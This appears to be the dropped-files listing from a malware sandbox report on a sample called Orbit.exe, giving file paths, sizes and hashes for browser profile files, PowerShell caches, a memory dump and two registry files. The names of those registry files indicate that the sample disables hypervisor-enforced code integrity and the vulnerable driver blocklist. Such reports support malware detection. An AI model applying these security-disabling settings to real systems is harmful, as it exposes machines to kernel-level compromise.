C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
c76dc9d584fd8fc89451b4f8dde8c2b9

SHA1
f2e39a47c309460387c8e4cf3b82997be79ec896

SHA256
e7084fe679b5477e6fdae86cf0a39f0def57825e899e29ec7ce2f0589a328123

SHA512
0437ffb9f42a991f0fbb7cfc0febe49e44fffc9e626524de8f841d87c0f9883837aaebd5ff11ffd0102262634de3c0a69d89ad23eed767e0c09b47bf7c4e182b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_mega.nz_0.indexeddb.leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
188B

MD5
008114e1a1a614b35e8a7515da0f3783

SHA1
3c390d38126c7328a8d7e4a72d5848ac9f96549b

SHA256
7301b76033c2970e61bab5eaddaff5aa652c39db5c0ea5632814f989716a1d18

SHA512
a202fc891eace003c346bad7e5d2c73dadf9591d5ce950395ff4b63cc2866b17e02bd3f0ad92749df033a936685851455bcdbfad30f26e765c3c89d3309cb82b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
88e6185937efb2fc5d40e0e3e3bdcb1f

SHA1
04cf4353346d436b723bae08f8fde4ef5de34875

SHA256
7690fddcf54724d18250c6898f65f3d9d08b7413fd10745c8af633798e6fceb5

SHA512
c20a8e1b9fde4e8816218901bf7c9fecd9320cc80ab7db4412a38d4973f4ae3dda2fdf7842088a7ac96d878c2b7918f2c5d7552fc7798b5690be73684a322b96

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
aa6c9a44f14aaafbff6f5cf83ff9ed30

SHA1
cfd6fc6e02931fe0a9f054d2983793322d92893e

SHA256
2999dbb2b0292178ae5ce4daab84854e99fbfe3960c5adc65fe65a1928953362

SHA512
87c8489a1e60a1e10aa9abccf0c0ea4087de8d261a74fe0630e07eca900808097a6f3e1ba6010c6593c7a4f75cbf8237d9ecbddbfc49cd4423111421ccb3fd3a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
b42af8de2e79972c0e6364f402192f28

SHA1
432f6ddd0979f082a8334c7a3ff9960b742fd8cd

SHA256
9dac7815654c9faae46f81e9ca169c4c220c759f186d8b1f68d5471c65089325

SHA512
6ba6095a8e789d118ecdde1fdcba6ae4fb630eaefe9d42cf68fad1fe959ece994e33f432038c8c1eeeacc5474574a264603b004b189e4706c7d317041011d2cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
b7dc8527879c8c6dc5cebf5e1ca64743

SHA1
c2f606362701fbe3729a686cb3dc5ddcda1c80f2

SHA256
1f7f78aa23770821d1499e791c61e35cdc6b215f85f6ec282da48ba9043c6e25

SHA512
303f646169f2a63decee930a00dccf5545cfd2dbc752fe367c8d5f0edbf5d876e0a7d2ccdd88a050bda62248235e306820fd4ffc5c33ed7fb6f572c71edc21d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
34966dc8d21200448ff4ce30616d0273

SHA1
fb96fe1bbe8d5346c19fbdea228a7a24df5c173a

SHA256
ec1cfde4c1fd36630a011bbb951686eb075647cb352b90314fca705e0d966548

SHA512
2bc1893729355448bc48096695c390f9eb40e0db7eefc194c88164b09ebed49cb96bc5f929eb60651caabb63c870c2d5785336325ad11b9aef39a892474e0321

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5792ca.TMP

Filesize
48B

MD5
a810a84f1fd73a51e338f6c7a8cd02a5

SHA1
4160bdfe0182498361490b576cd5fb87384d57e6

SHA256
bee8f0283660650d413ac6f28e95bc9aa3f11de9f74863410a9ff4cabd4f1b18

SHA512
8680d1ce94b924f507ae2248645ededabad3dd093de3f543b75e09cae69fb8e095024538c4838acdd1e3f23b7c23c31762a370d1b510d123aefd3e395bf4a8ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
136c78b0d5e84a4740c5585f5b3924ff

SHA1
12df13468ee17a1ecb329e391cb837dfb56c1955

SHA256
37d8af94a09cd27b743b1b65d5714640788353b9eec6ec5cddc5438dc9733a8c

SHA512
621196614df60b343b65034f577360a89f62e948c8f026ebb32a179aeb53df76bfa3ebb745b89ed5cc3ddaaaa702324caea77bc703b0511f6d7aca0eabaa6ad6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
92b1b233f6540e8b70da3167b4bc8bcc

SHA1
67c305601fd1cd4dd204bc7a5d01da17b4e6bd65

SHA256
e1b33591df48a05613542450fb3e0ff7506d69b5f768a5513762b4955aca016a

SHA512
a4077f6dca1925850969dff6950e3597c716996cfc787adb25351a8469dd033dd411d65e0b9e6b126ed5b5e233ccd00f1a01d427b3b0259bb538164d860d22c5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
0b882b5aedc65596fdb88e1a1c18ab1c

SHA1
0e82a5fa2a218b684e7548693e0c9c0852aa3144

SHA256
ffc856158674753c0966196cd94c88008ae92f51ca33f19a7ee04050e9333d2e

SHA512
ebe5ef62865d950035f618720bb18b12163f2ca16314e46a59a87e49f1014528b0b458f3d97600327132cf6999ed07fc3d62018e83900173e0882bea81de38a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a5c074e56305e761d7cbc42993300e1c

SHA1
39b2e23ba5c56b4f332b3607df056d8df23555bf

SHA256
e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

SHA512
c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
59583cecd69c4401d92a7a17a16f194b

SHA1
6134e6c5ec66c755f1537dd984c66b293a207a46

SHA256
b3804330d219ae8b7ab3c7b36329b611f8e2c69e90fc86d77760b18d8428f6a6

SHA512
084a905d9543be8af45126ff5bd40db819f7cddee9db7618eb42c1229145b944ebd8c61696ac7ec617bd0e55152931bf964b6af01018e9bfce964b4e16121e32

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_im5dbcgd.nx1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Orbit\DisableHypervisorEnforcedCodeIntegrity.reg

Filesize
173B

MD5
dd243eb0a44f50ca37d79fdaf301d98e

SHA1
e75417c31ad7e11e248180277532a7644aad3f15

SHA256
86554a668bec8cda1dd60c3256ab0eba14251b8bd9958f5bd7bb5109dbf63e83

SHA512
fd927c3918a6bad0fce12e9d63fe8d3cdb82664f7e7c522d9b09e9d5cffd2f9fe968cefa83ead42185348523bf7eb7c8d3a0a0389c9858069bf25d09a638fdea

Download Submit
C:\Users\Admin\AppData\Roaming\Orbit\DisableVulnerableDriverList.reg

Filesize
155B

MD5
efc53212201c2dfc033dd1f86fccab58

SHA1
3e539ce67bca171b2cf16c2dfc84f8555e87e8a6

SHA256
555e773f0cbc2178e71259bc42ac325761841f25ef6ce4eb9ce6bc9f55176f64

SHA512
3bcc15b08325921358d9a6113e0a8f08cefd7093e4927aeb2bb2fed4761ffd539c6ea9358101044dc0d443b9e79c69ad7f582300b0da894ace075b549e023479

Download Submit
C:\Users\Admin\Downloads\Orbit.exe

Filesize
1.2MB

MD5
75999bc3817de569ef5f0d520fd0a6f0

SHA1
6790816faea5b2debbec2f3b59a900794dc43c66

SHA256
ec253df88529dcc7f05135517854bdca0f4f654fc70f5727f1ce7c3e5a52beda

SHA512
d49d7c52c5dc53e8ad60269aca626e37ff6e104009ef63240767c4ac7937231aaadee75b2e4a8b4ccafdcfabcd391ab52e5f0ace6efc7548d516ae582ef51c6f

Download Submit
memory/3468-265-0x0000016F2E5B0000-0x0000016F2E5D2000-memory.dmp

Filesize
136KB

Download